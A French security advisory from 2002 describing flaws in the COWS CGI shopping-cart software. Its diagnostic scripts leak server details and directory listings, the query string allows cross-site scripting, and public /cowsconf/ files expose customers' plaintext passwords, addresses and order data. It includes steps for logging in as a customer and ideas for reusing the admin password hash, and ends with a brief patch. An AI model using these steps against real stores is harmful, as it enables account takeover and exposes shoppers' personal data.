Failles de sécurité dans le service de e-commerce "COWS" ******************************************************** Produit : ********* COWS (CGI Online Worldweb Shopping) http://www.cows.co.uk/ Versions : ********** ? Date : ****** 14 janvier 2002 Problèmes : *********** - Récuperation d'infos sur l'ordinateur. - Listing du repertoire du site. - Cross Site Scripting. - Infos sur les utilisateurs (nom, pass, login, adresse, etc). - Mot de passe admin crypté. Localisation : /compatible.cgi /diagnose.cgi /cowsconf/*.asc /S Developpement : *************** Les webmasters du sites ont bien sûr été avertit. Bien que difficilements reperables, il existe encore de nombreux sites utilisant ce service. Il y a 2 scripts, diagonise.cgi et compatible.cgi . Je n'ai pas fait des recherches en profondeur sur tout les scripts proposés par COWS. Mais apparemment, ces 2 scripts servent à tester si l'ordinateur est ou non pret à recevoir les services COWS. Voici un exemple de ce que peux contenir un script compatible.cgi ou diagonise.cgi : COWS compatibility test cowslocation.pl says... $keya = "209b1547ab52259b";[n] $license = "28e2266e6517594f";[n] $cgidir = "/home/host/cowsconf/";[n] $cgibin = "http://www.host.com/cgi-bin/";[n] $ssl = "http://www.host.com/cgi-bin/";[n] 1;[n] /bin/uname says... Linux roo 2.2.20 #3 Fri Nov 9 14:21:09 UTC 2001 i686 unknown Our real UID is... 1134 (specia) Our effective UID is... 1134 (specia) $0 says... compatible.cgi @INC contains...: /usr/lib/perl5/i386-linux, /usr/lib/perl5, /usr/lib/perl5/site_perl/i386-linux, /usr/lib/perl5/site_perl, ., Perl version... 5.00503 Testing DBM... DBM file is ok Testing encryption... Encryption is ok Found sendmail at /usr/sbin/sendmail Found sendmail at /usr/bin/sendmail Found sendmail at /usr/lib/sendmail This server appears to be compatible with COWS. ENV variables SERVER_SOFTWARE = Apache/1.3.12 (Unix) PHP/4.0.4pl1 GATEWAY_INTERFACE = CGI/1.1 DOCUMENT_ROOT = /home/host/www REMOTE_ADDR = ***.**.*.*.*.**.*.** SERVER_PROTOCOL = HTTP/1.1 REQUEST_METHOD = GET REMOTE_HOST = hop-1458-tralala-2-boum-boum QUERY_STRING = PATH = /usr/local/bin:/usr/bin:/bin HTTP_ACCEPT = image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-gsarcade-launch, */* HTTP_CONNECTION = Keep-Alive REMOTE_PORT = 1075 SERVER_ADDR = 227.165.162.8 HTTP_ACCEPT_LANGUAGE = fr SCRIPT_NAME = /cgi-bin/compatible.cgi HTTP_ACCEPT_ENCODING = gzip, deflate SCRIPT_FILENAME = /home/host/cgi-bin/compatible.cgi SERVER_NAME = www.host.com REQUEST_URI = /cgi-bin/compatible.cgi SERVER_PORT = 80 HTTP_HOST = www.host.com SERVER_ADMIN = webmaster@host.com ls -lR of parent dir gives... total 281 drwxr-xr-x 2 specia users 1024 May 3 2000 . drwxr-x--- 5 specia oldsite 1024 Aug 14 2000 .. -rwxr-xr-x 1 specia users 6719 May 3 2000 accountstatus.cgi -rwxr-xr-x 1 specia users 7376 May 3 2000 admin-accounts.cgi -rwxr-xr-x 1 specia users 9276 May 3 2000 admin-catalog.cgi -rwxr-xr-x 1 specia users 26297 May 3 2000 admin-conf.cgi -rwxr-xr-x 1 specia users 3981 May 3 2000 admin-currency.cgi -rwxr-xr-x 1 specia users 14622 May 3 2000 admin-groups.cgi -rwxr-xr-x 1 specia users 9126 May 3 2000 basket-no-frames.cgi -rwxr-xr-x 1 specia users 9095 May 3 2000 basket.cgi -rwxr-xr-x 1 specia users 33300 May 3 2000 browse-no-frames.cgi -rwxr-xr-x 1 specia users 32885 May 3 2000 browse.cgi -rwxr-xr-x 1 specia users 7474 May 3 2000 checkout-cc.cgi -rwxr-xr-x 1 specia users 12471 May 3 2000 checkout-final.cgi -rwxr-xr-x 1 specia users 5722 May 3 2000 checkout-new.cgi -rwxr-xr-x 1 specia users 5770 May 3 2000 checkout.cgi -rwxr-xr-x 1 specia users 3125 May 3 2000 compatible.cgi -rwxr-xr-x 1 specia users 14415 May 3 2000 cows-setup.cgi -rwxr-xr-x 1 specia users 217 May 3 2000 cowslocation.pl -rwxr-xr-x 1 specia users 3975 May 3 2000 get-rates.cgi -rwxr-xr-x 1 specia users 5201 May 3 2000 invoice.cgi -rwxr-xr-x 1 specia users 300 May 3 2000 mangle.pl -rwxr-xr-x 1 specia users 3406 May 3 2000 ntmail.pl -rwxr-xr-x 1 specia users 3381 May 3 2000 passwordreminder.cgi -rwxr-xr-x 1 specia users 1201 May 3 2000 shop-force-new-session.cgi -rwxr-xr-x 1 specia users 1057 May 3 2000 shop.cgi -rwxr-xr-x 1 specia users 12347 May 3 2000 shoplibs.pl -rwxr-xr-x 1 specia users 16731 May 3 2000 showorders.cgi -rwxr-xr-x 1 specia users 415 May 3 2000 unixmail.pl -rwxr-xr-x 1 specia users 224 May 3 2000 wrapper.cgi -rwxr-xr-x 1 specia users 8306 May 3 2000 writeorder.cgi etc... On a donc dans ces 2 scripts non seulement énormement d'informations sur le systeme, mais aussi le listing de tout les fichiers se trouvant dans le repertoire où on se trouve, ainsi que dans tout ses sous-dossiers. Une deuxieme faille se trouve dans ces scripts. Si on tape par exemple diagnose.cgi?test, le QUERY_STRING et la REQUEST_URL changerons forcemment pour donner ceci : QUERY_STRING = test REQUEST_URI = /cgi-bin/diagnose.cgi?test Pour executer du code sur ces pages (Cross site scripting), il suffit de taper une url comme celles-ci : /diagnose.cgi? /compatible.cgi? Les 2 valeurs vues + haut changerons encore, mais le script sera executé. Voyons maintenant le dossier COWSCONF. son sous-dossier custdata : http://www.hostwithcows.com/cowsconf/custdata/ Custdata est un dossier contenant des fichiers .asc . Mais ce ne sont pas des fichiers à ouvrir avec PGP. Si on telecharge un de ces fichiers et qu'on l'ouvre avec un bloc note, voici le genre de chose qu'on obtient : fullname = John Phillips email = John@internet.com address1 = 52 Phearbank Road address2 = Bradford address3 = West Yorkshire postcode = BD8 9JX phone = 01234 password = azerty bonuspoints = 0 orders = Nous avons donc ici le nom, le prenom, l'email, l'adresse, le numero de telephone et le mot de passe NON CRYPTé d'un membre. Maintenant, si on veut se logger à la place de la personne, il nous faut bien sûr le pass mais aussi le login. Pas besoin de chercher bien loin, le login est tout simplement le nom du fichier .asc . Si les infos vues + haut se trouvent dans le fichier /cowsconf/custdata/J_Phillips.asc , il faudra comprendre : LOGIN : J_Phillips PASSWORD : azerty NOM : John Phillips EMAIL : John@internet.com etc... Voyons maintenant le dossier /cowsconf/orders/... Il contient également des fichers .asc, qui, ouverts, donnent ceci : Username = John Date = Mon Jan 3 13:52:13 2000 Time = 946907533 CardType = Visa Crypted = !,`#/ CardExpires = 01 / 2002 CardValid = 01 / 1995 Nameoncard = p w crane Shipping.title = First class Post Shipping.cost = 0.90 PercentDiscount = % Discount = Tax = 0.16 Total = 151.01 Status = New item.1 = cat7654 quantity.1 = 5 price.1 = 29.99 Pointstoadd = 0 Voilà, point de vue vie privée c'est encore raté... on connait le pseudo, pour combien il a acheté, quand ça carte expires, quelle genre de carte, etc... Bon vous me direz "au moins on ne sait pas ce qu'il a acheté !"... hé bien, il suffit de se rendre dans /cowsconf/catalog.asc, de rechercher l' "item.1" dedans, et voila sur ce qu'on tombe : cat7654,mobile,"Ericsson GA628",29.99,0,0,0,0,0 Pour verifier si c'est bien le bon article, on peut aussi voir le prix. Reste un fichier asc interessant aussi : /cowsconf/config.asc qui est de ce style : adminpassword = coVnDoxhYD03Y back = basketbgcol = #4E57F4 baskettext = white browsebgcol = #4E57F4 browseicon = browse.gif browsetext = white cardsbymail = 0 cardtypes = Visa, Mastercard, Switch checkoutbgcol = white checkouticon = checkout.gif checkouttext = blue cheques = 0 chequesonly = 0 convert = 0 currencycode = GBP currencyunit = £ currentgroupbackground = #AAAACC currentgrouptext = #000000 custdatadir = /home/sites/host/web/cowsconf/custdata/ fixtablewidth = 1 homeicon = home.gif homepage = http://www.host.com/ htmldir = /home/sites/host/web/ httpimagedir = http://www.host.com/images/ httpsimagedir = http://www.host.com/images/ imagedir = /home/sites/host/web/images/ more = nocypher = 0 notifywhenmaxbonusreached = 1 ordersdir = /home/sites/host/web/cowsconf/orders/ ouraddress1 = moorland internet ltd ouraddress2 = Branscombe, Newton Road ouraddress3 = Bovey Tracey, Devon ouraddress4 = England ouremail = webmaster@host.com ourhost = Example store ourpostcode = TQ139BB parenticon = hand.gif requirevalidfrom = 1 searchboxbackground = #4E57F4 searchgroups = mobile,remote searchicon = search.gif seealsoicon = hand.gif sendmail = /usr/lib/sendmail sendusmail = 1 sessdatadir = /home/sites/host/web/cowsconf/sessdata/ shipping.1.additional = 0.15 shipping.1.basic = 0.6 shipping.1.threshold = 3 shipping.1.title = First class Post shipping.2.additional = 0.15 shipping.2.basic = 0.4 shipping.2.threshold = 2 shipping.2.title = Second class post showperpagebrief = 6 showperpagenormal = 3 subcaticon = hand.gif taxname = value added tax urltocgibin = http://www.host.com/cgi-bin/ urltossl = http://www.host.com/cgi-bin/ usevat = 1 useweight = 0 vatrate.1 = 17.5 searchgroups = mobile,remote searchgroups = mobile,remote Bon il contient pas mal de choses pas très interessantes, mais aussi d'autres qui le sont. On a d'abord bien sûr la ligne adminpassword = coVnDoxhYD03Y Je n'ai pas pu aller plus loin à ce sujet, car le service est payant. Mais à mon avis il y a une possibilité pour utiliser cette ligne, c'est les cookies. Si le password est envoyé par cookie et qu'il est crypté, il y a pas mal de chance qu'il le soit de cette façon, il suffirait alors d'envoyer le password en cookie... mais il faut connaitre son nom. Si le password n'est pas crypté dans le cookie, alors il faut se raporter à la premiere faille. Il y a aussi les lignes custdatadir = /home/sites/host/web/cowsconf/custdata/ homepage = http://www.host.com/ htmldir = /home/sites/host/web/ httpimagedir = http://www.host.com/images/ httpsimagedir = http://www.host.com/images/ imagedir = /home/sites/host/web/images/ ordersdir = /home/sites/host/web/cowsconf/orders/ sessdatadir = /home/sites/host/web/cowsconf/sessdata/ urltocgibin = http://www.host.com/cgi-bin/ urltossl = http://www.host.com/cgi-bin/ qui nous permettent de reperer l'emplacement dans le HD et la disposition des dossiers sources du site. Patch : ******* Supprimer Compatible.cgi & Diagonise.cgi. Renommer le dossier /cowsconf/ où ne pas le mettre online. Greetz : ******** / Credits ******* Tuto achevé le dimanche 20 janvier 2002 par frog-m@n (leselfrog@hotmail.com)